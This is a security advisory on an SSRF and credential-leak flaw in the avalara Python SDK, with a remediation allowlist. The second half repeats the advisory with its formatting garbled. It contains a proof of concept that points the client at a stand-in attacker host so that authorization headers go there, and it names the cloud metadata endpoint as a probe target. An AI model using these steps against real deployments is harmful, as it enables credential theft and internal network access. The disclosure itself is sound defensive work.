Security Vulnerability: Server-Side Request Forgery (SSRF) in avalara
Summary
The avalara Python SDK (version 26.6.0) accepts a user-supplied environment parameter that is stored directly as self.base_url without validation, causing all subsequent API calls—including those transmitting authentication headers—to be directed to an attacker-controlled URL. This constitutes a Server-Side Request Forgery (SSRF) vulnerability that can lead to credential theft and internal network access.
Affected Package
Vulnerability Details
In client.py at lines 71-72, the AvataxClient constructor accepts an environment argument and assigns it directly to self.base_url:
# client.py lines 71-72 (approximate)
self.base_url = environment
No URL validation, allowlist check, or scheme restriction is performed. Every subsequent API method constructs request URLs by prepending self.base_url, and authentication credentials (username/password or API key) are attached as HTTP headers to these requests. If an attacker can influence the environment parameter (e.g., via a configuration file, environment variable, or application-layer injection), they can redirect all SDK traffic—including authentication headers—to an arbitrary server they control.
Proof of Concept
from avalara import AvataxClient
# Attacker controls an HTTP server at http://attacker.example.com/
# By passing it as the environment parameter, all API calls go there
client = AvataxClient(
app_name="test",
app_version="1.0",
machine_name="localhost",
environment="http://attacker.example.com/"
)
# Authenticate - credentials are sent to attacker's server
client.add_credentials("valid_username", "valid_password")
# Any API call will now exfiltrate auth headers to the attacker
response = client.query_tax_rates({"line1": "2000 Main Street", "city": "Irvine", "region": "CA", "postalCode": "92614", "country": "US"})
# HTTP request with Authorization header goes to http://attacker.example.com/
Impact
An attacker who can control the environment parameter achieves:
- Credential exfiltration: Authentication headers (Bearer tokens, Basic auth credentials) are sent to the attacker's server.
- Internal network scanning/access (SSRF): The SDK can be pointed at internal services (e.g.,
http://169.254.169.254/ for cloud metadata endpoints, or internal microservices) to probe or interact with systems not directly exposed to the public internet.
- Data exfiltration: All request bodies (tax transaction data, PII) are forwarded to the attacker.
- Potential for lateral movement in cloud/containerized environments via metadata service abuse.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Remediation
- Validate the
environment parameter against a strict allowlist of known Avalara API base URLs (e.g., https://rest.avatax.com for production, https://sandbox-rest.avatax.com for sandbox).
- Reject or sanitize any value that does not match the allowlist, raising a
ValueError with a clear message.
- Avoid accepting arbitrary URLs from user-supplied input for security-sensitive HTTP client base URLs.
Example fix:
ALLOWED_ENVIRONMENTS = {
"production": "https://rest.avatax.com",
"sandbox": "https://sandbox-rest.avatax.com",
}
def __init__(self, app_name, app_version, machine_name, environment="sandbox"):
if environment in ALLOWED_ENVIRONMENTS:
self.base_url = ALLOWED_ENVIRONMENTS[environment]
else:
raise ValueError(f"Invalid environment '{environment}'. Must be one of: {list(ALLOWED_ENVIRONMENTS.keys())}")
Disclosure Timeline
- 2026-07-02: Discovered via DAST scan
- 2026-07-02: Reported to maintainer
Security Vulnerability: Server-Side Request Forgery (SSRF) in avalara
Summary
The
avalaraPython SDK (version 26.6.0) accepts a user-suppliedenvironmentparameter that is stored directly asself.base_urlwithout validation, causing all subsequent API calls—including those transmitting authentication headers—to be directed to an attacker-controlled URL. This constitutes a Server-Side Request Forgery (SSRF) vulnerability that can lead to credential theft and internal network access.Affected Package
Vulnerability Details
In
client.pyat lines 71-72, theAvataxClientconstructor accepts anenvironmentargument and assigns it directly toself.base_url:No URL validation, allowlist check, or scheme restriction is performed. Every subsequent API method constructs request URLs by prepending
self.base_url, and authentication credentials (username/password or API key) are attached as HTTP headers to these requests. If an attacker can influence theenvironmentparameter (e.g., via a configuration file, environment variable, or application-layer injection), they can redirect all SDK traffic—including authentication headers—to an arbitrary server they control.Proof of Concept
Impact
An attacker who can control the
environmentparameter achieves:http://169.254.169.254/for cloud metadata endpoints, or internal microservices) to probe or interact with systems not directly exposed to the public internet.CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Remediation
environmentparameter against a strict allowlist of known Avalara API base URLs (e.g.,https://rest.avatax.comfor production,https://sandbox-rest.avatax.comfor sandbox).ValueErrorwith a clear message.Example fix:
Disclosure Timeline